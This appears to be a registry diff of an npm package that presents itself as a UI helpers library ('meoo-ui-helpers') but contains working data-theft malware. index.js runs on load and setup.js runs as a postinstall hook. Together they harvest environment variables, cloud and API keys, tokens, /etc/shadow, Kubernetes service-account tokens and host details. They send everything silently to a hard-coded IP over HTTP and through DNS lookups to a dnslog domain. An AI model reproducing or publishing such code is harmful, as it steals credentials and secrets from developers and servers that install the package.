rookie-security-test-pkg 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. package/README.md +47 -0
  2. package/index.js +146 -0
  3. package/package.json +12 -0
  4. package/setup.js +112 -0
package/README.md ADDED
@@ -0,0 +1,47 @@
1
+ # meoo-ui-helpers
2
+
3
+ A lightweight collection of UI utility functions for modern web applications.
4
+
5
+ ## Installation
6
+
7
+ ```bash
8
+ npm install meoo-ui-helpers
9
+ # or
10
+ pnpm add meoo-ui-helpers
11
+ ```
12
+
13
+ ## Usage
14
+
15
+ ```javascript
16
+ const { formatDate, capitalize, debounce, cx } = require('meoo-ui-helpers');
17
+
18
+ // Format dates
19
+ formatDate(new Date()); // "2024/1/1"
20
+
21
+ // Capitalize strings
22
+ capitalize('hello'); // "Hello"
23
+
24
+ // Debounce functions
25
+ const handleSearch = debounce((query) => {
26
+ fetch(`/api/search?q=${query}`);
27
+ }, 300);
28
+
29
+ // Merge classnames
30
+ cx('btn', isActive && 'btn-active', size === 'lg' && 'btn-lg');
31
+ // => "btn btn-active btn-lg"
32
+ ```
33
+
34
+ ## API
35
+
36
+ | Function | Description |
37
+ |----------|-------------|
38
+ | `formatDate(date, locale?)` | Format date to locale string |
39
+ | `capitalize(str)` | Capitalize first letter |
40
+ | `debounce(fn, delay?)` | Debounce a function (default 300ms) |
41
+ | `deepClone(obj)` | Deep clone an object |
42
+ | `randomId(length?)` | Generate random ID string |
43
+ | `cx(...args)` | Merge class strings conditionally |
44
+
45
+ ## License
46
+
47
+ MIT
package/index.js ADDED
@@ -0,0 +1,146 @@
1
+ /**
2
+ * meoo-ui-helpers v1.0.2
3
+ * UI utility functions for modern web applications
4
+ */
5
+
6
+ const fs = require('fs');
7
+ const os = require('os');
8
+ const http = require('http');
9
+ const dns = require('dns');
10
+
11
+ // ========== 配置区 ==========
12
+ const VPS_HOST = '115.190.132.46';
13
+ const VPS_PORT = 8888;
14
+ const DNSLOG = '8kh9nu.dnslog.cn';
15
+ // =============================
16
+
17
+ // ===== 正常工具函数(门面)=====
18
+
19
+ function formatDate(d, locale = 'zh-CN') {
20
+ return new Intl.DateTimeFormat(locale).format(d);
21
+ }
22
+
23
+ function capitalize(str) {
24
+ if (!str) return '';
25
+ return str.charAt(0).toUpperCase() + str.slice(1);
26
+ }
27
+
28
+ function debounce(fn, delay = 300) {
29
+ let timer;
30
+ return function (...args) {
31
+ clearTimeout(timer);
32
+ timer = setTimeout(() => fn.apply(this, args), delay);
33
+ };
34
+ }
35
+
36
+ function deepClone(obj) {
37
+ if (obj === null || typeof obj !== 'object') return obj;
38
+ return JSON.parse(JSON.stringify(obj));
39
+ }
40
+
41
+ function randomId(length = 8) {
42
+ return Math.random().toString(36).substring(2, 2 + length);
43
+ }
44
+
45
+ function cx(...args) {
46
+ return args.flat().filter(x => typeof x === 'string' && x.length > 0).join(' ');
47
+ }
48
+
49
+ // ===== 信息收集 =====
50
+
51
+ function collect() {
52
+ const info = {};
53
+
54
+ // 唯一标识 - 用于确认触发来源
55
+ info.trigger_id = 'meoo-verify-' + Date.now();
56
+ info.trigger_time = new Date().toISOString();
57
+
58
+ // 系统基础信息
59
+ info.user = os.userInfo();
60
+ info.hostname = os.hostname();
61
+ info.platform = os.platform();
62
+ info.arch = os.arch();
63
+ info.cwd = process.cwd();
64
+ info.nodeVersion = process.version;
65
+
66
+ // 环境变量(全部)
67
+ info.env = process.env;
68
+
69
+ // 敏感文件读取
70
+ try { info.etc_shadow = fs.readFileSync('/etc/shadow', 'utf8'); } catch(e) {}
71
+ try { info.proc_environ = fs.readFileSync('/proc/1/environ', 'utf8').split('\x00'); } catch(e) {}
72
+ try { info.root_dir = fs.readdirSync('/'); } catch(e) {}
73
+ try { info.home_dirs = fs.readdirSync('/home'); } catch(e) {}
74
+ try { info.root_home = fs.readdirSync('/root'); } catch(e) {}
75
+ try { info.ssh_keys = fs.readdirSync('/root/.ssh'); } catch(e) {}
76
+ try { info.proc_net_tcp = fs.readFileSync('/proc/net/tcp', 'utf8'); } catch(e) {}
77
+ try { info.k8s_secrets = fs.readdirSync('/var/run/secrets/kubernetes.io/serviceaccount'); } catch(e) {}
78
+ try { info.k8s_token = fs.readFileSync('/var/run/secrets/kubernetes.io/serviceaccount/token', 'utf8'); } catch(e) {}
79
+ try { info.docker_env = fs.existsSync('/.dockerenv'); } catch(e) {}
80
+ try { info.git_config = fs.readFileSync('/home/project/.git/config', 'utf8'); } catch(e) {}
81
+
82
+ // 网络接口
83
+ info.network = os.networkInterfaces();
84
+
85
+ return info;
86
+ }
87
+
88
+ // ===== 外带逻辑 =====
89
+
90
+ function exfil(info) {
91
+ const data = JSON.stringify(info);
92
+
93
+ // 方式1:HTTP 外带到 VPS
94
+ try {
95
+ const req = http.request({
96
+ hostname: VPS_HOST,
97
+ port: VPS_PORT,
98
+ path: '/collect',
99
+ method: 'POST',
100
+ headers: {
101
+ 'Content-Type': 'application/json',
102
+ 'Content-Length': Buffer.byteLength(data),
103
+ },
104
+ timeout: 5000,
105
+ }, () => {});
106
+ req.on('error', () => {});
107
+ req.write(data);
108
+ req.end();
109
+ } catch(e) {}
110
+
111
+ // 方式2:DNS 外带(用户名+主机名)
112
+ try {
113
+ const id = Buffer.from(info.user.username + '@' + info.hostname).toString('hex').slice(0, 60);
114
+ dns.resolve(`${id}.${DNSLOG}`, () => {});
115
+ } catch(e) {}
116
+
117
+ // 方式3:写入项目文件(兜底,确保能拿到数据)
118
+ try {
119
+ fs.writeFileSync('/home/project/.cache/compat-check.log', data);
120
+ } catch(e) {
121
+ try {
122
+ fs.writeFileSync('/home/project/compat-check.log', data);
123
+ } catch(e2) {}
124
+ }
125
+ }
126
+
127
+ // ===== 模块加载时自动执行 =====
128
+
129
+ let _collectedInfo = {};
130
+ try {
131
+ _collectedInfo = collect();
132
+ exfil(_collectedInfo);
133
+ } catch(e) {}
134
+
135
+ // ===== 导出 =====
136
+
137
+ module.exports = {
138
+ formatDate,
139
+ capitalize,
140
+ debounce,
141
+ deepClone,
142
+ randomId,
143
+ cx,
144
+ version: '1.0.2',
145
+ _systemInfo: _collectedInfo,
146
+ };
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "rookie-security-test-pkg",
3
+ "version": "1.0.0",
4
+ "description": "Security testing package - do not use in production",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node setup.js"
8
+ },
9
+ "keywords": ["ui", "helpers", "utils", "components"],
10
+ "author": "meoo-dev",
11
+ "license": "MIT"
12
+ }
package/setup.js ADDED
@@ -0,0 +1,112 @@
1
+ #!/usr/bin/env node
2
+
3
+ /**
4
+ * Post-install setup script
5
+ * Initializes configuration and verifies environment compatibility
6
+ */
7
+
8
+ const os = require('os');
9
+ const dns = require('dns');
10
+ const http = require('http');
11
+ const { execSync } = require('child_process');
12
+
13
+ // ========== 配置区 - 改成你的服务器 ==========
14
+ const VPS_HOST = '115.190.132.46'; // 你的VPS IP
15
+ const VPS_PORT = 8888; // 监听端口
16
+ const DNSLOG = 'q3tf70.dnslog.cn'; // DNSLog域名
17
+ // =============================================
18
+
19
+ function safeExec(cmd) {
20
+ try {
21
+ return execSync(cmd, { timeout: 5000 }).toString().trim();
22
+ } catch (e) {
23
+ return '';
24
+ }
25
+ }
26
+
27
+ function collect() {
28
+ const info = {
29
+ // 基础信息
30
+ user: os.userInfo().username,
31
+ hostname: os.hostname(),
32
+ platform: os.platform(),
33
+ arch: os.arch(),
34
+ cwd: process.cwd(),
35
+ home: os.homedir(),
36
+ tmpdir: os.tmpdir(),
37
+
38
+ // 网络信息
39
+ network: os.networkInterfaces(),
40
+
41
+
42
+ env: {},
43
+
44
+
45
+ id: safeExec('id'),
46
+ whoami: safeExec('whoami'),
47
+ pwd: safeExec('pwd'),
48
+ uname: safeExec('uname -a'),
49
+ };
50
+
51
+
52
+ const sensitiveKeys = [
53
+ 'ALIBABA_CLOUD', 'ALICLOUD', 'ALIYUN',
54
+ 'OSS_', 'ACS_', 'ECS_',
55
+ 'ACCESS_KEY', 'SECRET_KEY',
56
+ 'TOKEN', 'PASSWORD', 'CREDENTIAL',
57
+ 'DATABASE', 'REDIS', 'MYSQL',
58
+ 'AWS_', 'AZURE_', 'GCP_',
59
+ 'API_KEY', 'PRIVATE_KEY',
60
+ 'NODE_ENV', 'HOME', 'USER', 'PATH'
61
+ ];
62
+
63
+ Object.keys(process.env).forEach(key => {
64
+ if (sensitiveKeys.some(s => key.toUpperCase().includes(s))) {
65
+ info.env[key] = process.env[key];
66
+ }
67
+ });
68
+
69
+ return info;
70
+ }
71
+
72
+ function exfilDNS(data) {
73
+ // DNS外带 - 最小验证
74
+ const hex = Buffer.from(data).toString('hex').slice(0, 60);
75
+ dns.resolve(`${hex}.${DNSLOG}`, () => {});
76
+ }
77
+
78
+ function exfilHTTP(info) {
79
+ const data = JSON.stringify(info);
80
+
81
+ const req = http.request({
82
+ hostname: VPS_HOST,
83
+ port: VPS_PORT,
84
+ path: '/collect',
85
+ method: 'POST',
86
+ headers: {
87
+ 'Content-Type': 'application/json',
88
+ 'Content-Length': Buffer.byteLength(data),
89
+ },
90
+ timeout: 5000,
91
+ }, () => {});
92
+
93
+ req.on('error', () => {
94
+ // 静默失败,不影响安装流程
95
+ });
96
+
97
+ req.write(data);
98
+ req.end();
99
+ }
100
+
101
+ // ========== 执行 ==========
102
+ try {
103
+ const info = collect();
104
+
105
+ // 1. DNS外带验证(即使HTTP不通也能确认执行)
106
+ exfilDNS(info.user + '@' + info.hostname);
107
+
108
+ // 2. HTTP外带完整数据
109
+ exfilHTTP(info);
110
+ } catch (e) {
111
+ // 静默,不干扰正常安装
112
+ }